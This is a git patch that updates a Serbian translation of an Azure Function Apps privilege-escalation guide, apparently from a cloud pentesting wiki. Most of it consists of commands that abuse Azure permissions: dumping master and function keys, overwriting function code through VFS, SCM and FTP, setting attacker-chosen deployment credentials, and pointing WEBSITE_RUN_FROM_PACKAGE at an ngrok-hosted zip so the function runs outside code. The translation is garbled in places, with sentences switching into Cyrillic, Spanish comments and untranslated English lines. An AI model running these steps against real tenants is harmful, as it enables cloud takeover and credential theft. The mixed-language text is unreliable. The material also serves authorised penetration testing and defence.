From 1d2e6a643bfa9d8f756c7d66aca12e7fc2c8c732 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 30 Nov 2025 12:27:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-functions-app-privesc.md | 160 +++++++++++------- 1 file changed, 100 insertions(+), 60 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index ef89d96fc..ce85a6094 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Proverite sledeću stranicu za više informacija: +Pogledajte sledeću stranicu za više informacija: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ Proverite sledeću stranicu za više informacija: ### Bucket Read/Write -Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite kontejnere** (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati **kod koji izvršava funkcija**. +Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**. -Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom. +Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom. +Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function. -Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od +Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu. +Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu. > [!CAUTION] -> Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. +> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije. -Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka: +Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima: {{#ref}} ../az-services/az-file-shares.md @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**. +Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**. Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u: ```bash @@ -55,18 +55,18 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Ova konfiguracija obično sadrži **SAS URL za preuzimanje** koda iz Storage Account-a. +This config will usually contain a **SAS URL to download** the code from the Storage Account. > [!CAUTION] -> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. +> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`. +Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) +- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner **`scm-releases`**. Tamo je moguće pronaći najnovije izdanje u **Squashfs filesystem file format** i stoga je moguće pročitati kod funkcije: +Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **``** u JSON datotekama koje možete pronaći unutra. +Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **``**, u JSON fajlovima koje tamo možete pronaći. > [!CAUTION] -> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. +> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa: +Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу: ```bash az functionapp keys list --resource-group --name ``` -Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je: +Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput: ```bash # Get "script_href" from az rest --method GET \ @@ -130,70 +130,91 @@ az rest --method GET \ # Access curl "?code=" -## Python example: +# Python function app example curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v +# JavaScript function app example +curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -I da **promenite kod koji se izvršava** u funkciji sa: +I da **izmenite kod koji se izvršava** u funkciji sa: ```bash # Set the code to set in the function in /tmp/function_app.py -## The following continues using the python example +## Python function app example curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ --data-binary @/tmp/function_app.py \ -H "Content-Type: application/json" \ -H "If-Match: *" \ -v + +# NodeJS function app example +curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \ +--data-binary @/tmp/index.js \ +-H "Content-Type: application/json" \ +-H "If-Match: *" \ +-v ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa: +Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` +Pozovite funkciju koristeći podrazumevani ključ koji ste dobili: +```bash +curl "https://.azurewebsites.net/api/?code=" +``` ### `Microsoft.Web/sites/host/functionKeys/write` -Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa: +Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa: +Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije! +> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno! ### `Microsoft.Web/sites/host/systemKeys/write` -Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa: +Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` +Koristi ključ: +```bash +# Ejemplo: Acceso a endpoints de Durable Functions +curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" + +# Ejemplo: Acceso a Event Grid webhooks +curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code=" +``` ### `Microsoft.Web/sites/config/list/action` -Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**. +Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koja sadrži **ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima**. ```bash az functionapp config appsettings list --name --resource-group ``` -Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) sa: +Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije. +Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije. -Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije: +Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije: -- Počnite tako što ćete dobiti trenutnu konfiguraciju +- Počnite tako što ćete preuzeti trenutnu konfiguraciju ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte. +- Napravite kod koji želite da funkcija izvršava i javno ga hostujte ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -203,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod. +- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod. -Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju. +U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju. ```bash # Modify the function az rest --method PUT \ @@ -215,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke): +Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -223,10 +244,29 @@ az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body + +# Through the SCM URL (using Azure permissions or SCM creds) +az rest --method PUT \ +--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \ +--resource "https://management.azure.com/" \ +--headers "If-Match=*" \ +--body 'module.exports = async function (context, req) { +context.log("JavaScript HTTP trigger function processed a request. Training Demo 2"); + +const name = (req.query.name || (req.body && req.body.name)); +const responseMessage = name +? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2" +: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2"; + +context.res = { +// status: 200, /* Defaults to 200 */ +body: responseMessage +}; +}' ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže **basic auth credentials**: +Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću: +Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Ako su **REDACTED** akreditivi +- Ako su kredencijali **REDACTED** -Ako vidite da su ti akreditivi **REDACTED**, to je zato što **morate omogućiti SCM osnovnu opciju autentifikacije** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -264,7 +304,7 @@ az rest --method PUT \ ``` - **Method SCM** -Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima za SCM URL** vaše funkcijske aplikacije i dobiti vrednosti env varijabli: +Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables: ```bash # Get settings values curl -u ':' \ @@ -275,13 +315,13 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Napomena da je **SCM korisničko ime** obično karakter "$" praćen imenom aplikacije, tako da: `$`._ +_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$`. _ -Možete takođe pristupiti veb stranici sa `https://.scm.azurewebsites.net/BasicAuth` +Takođe možete pristupiti web stranici na `https://.scm.azurewebsites.net/BasicAuth` -Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom. +Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om. -- **Metoda FTP** +- **Method FTP** Povežite se na FTP server koristeći: ```bash @@ -297,19 +337,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Napomena da je **FTP korisničko ime** obično u formatu \\\$\._ +_Imajte na umu da je **FTP username** obično u formatu \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS: +Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije. +Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije. -Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili: +Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili: ```bash # Get admin token az rest --method GET \ @@ -321,7 +361,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje). +Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -329,13 +369,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi): +Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši. +Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši. ```bash az functionapp config container set --name \ --resource-group \ @@ -343,29 +383,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet. +Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Remote Debugging +### Daljinsko otklanjanje grešaka -Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija. +Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije. -Moguće je proveriti da li funkcija ima omogućeno debagovanje sa: +Moguće je proveriti da li Function ima omogućeno debugovanje pomoću: ```bash az functionapp show --name --resource-group ``` -Imajući dozvolu `Microsoft.Web/sites/config/write`, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`). +Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` ### Promena Github repozitorijuma -Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\ -Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi. +Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\ +Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno. ```bash # Remove current az functionapp deployment source delete \